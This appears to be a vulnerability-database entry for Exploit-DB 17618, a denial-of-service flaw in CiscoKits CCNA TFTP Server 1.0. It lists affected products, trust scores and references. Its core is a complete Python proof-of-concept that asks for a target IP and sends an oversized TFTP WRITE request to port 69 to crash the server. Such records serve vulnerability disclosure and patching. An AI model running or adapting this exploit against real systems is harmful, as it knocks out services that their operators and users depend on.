Details of VAR-E-201108-0307

ID

VAR-E-201108-0307

EDB ID

17618

TITLE

CiscoKits 1.0 - TFTP Server 'Write Command' Denial of Service - Windows dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 17618

DESCRIPTION

CiscoKits 1.0 - TFTP Server 'Write Command' Denial of Service.. dos exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 17618

AFFECTED PRODUCTS

vendor:	ciscokits	model:	-	scope:	eq	version:	1.0	Trust: 1.6
vendor:	certificationkits	model:	ciscokits ccna tftp server	scope:	eq	version:	1.0	Trust: 0.3

sources: BID: 49045 // EXPLOIT-DB: 17618 // EDBNET: 40173

EXPLOIT

#!/usr/bin/python
##############################################################################
# Title : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability
# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : http://secpod.org/blog/?p=271
# http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py
# http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt
# Version : CiscoKits CCNA TFTP Server 1.0.0.0
# Date : 21/07/2011
##############################################################################

import socket,sys,time

port = 69
target = raw_input("Enter host/target ip address: ")

if not target:
print "Host/Target IP Address is not specified"
sys.exit(1)

print "you entered ", target

try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

#File name >= 222 length leads to crash
exploit = "A" * 500

mode = "netascii"
print "File name WRITE crash"
# WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"
sock.sendto(data, (target, port))
time.sleep(5)

Trust: 1.0

sources: EXPLOIT-DB: 17618

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 17618

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 17618

TYPE

TFTP Server 'Write Command' Denial of Service

Trust: 1.0

sources: EXPLOIT-DB: 17618

CREDITS

SecPod Research

Trust: 0.6

sources: EXPLOIT-DB: 17618

EXTERNAL IDS

db:	EXPLOIT-DB	id:	17618	Trust: 1.9
db:	EDBNET	id:	40173	Trust: 0.6
db:	BID	id:	49045	Trust: 0.3

sources: BID: 49045 // EXPLOIT-DB: 17618 // EDBNET: 40173

REFERENCES

url:	http://secpod.org/advisories/secpod_ciscokits_ccna_tftp_dos.txt	Trust: 1.0
url:	https://www.exploit-db.com/exploits/17618/	Trust: 0.9
url:	http://www.certificationkits.com/cisco-ccna-tftp-server/	Trust: 0.3

sources: BID: 49045 // EXPLOIT-DB: 17618 // EDBNET: 40173

SOURCES

db:	BID	id:	49045
db:	EXPLOIT-DB	id:	17618
db:	EDBNET	id:	40173

LAST UPDATE DATE

2022-07-27T09:30:30.322000+00:00

SOURCES UPDATE DATE

db:

BID

id:

49045

date:

2011-08-05T00:00:00

SOURCES RELEASE DATE

db:	BID	id:	49045	date:	2011-08-05T00:00:00
db:	EXPLOIT-DB	id:	17618	date:	2011-08-05T00:00:00
db:	EDBNET	id:	40173	date:	2011-08-05T00:00:00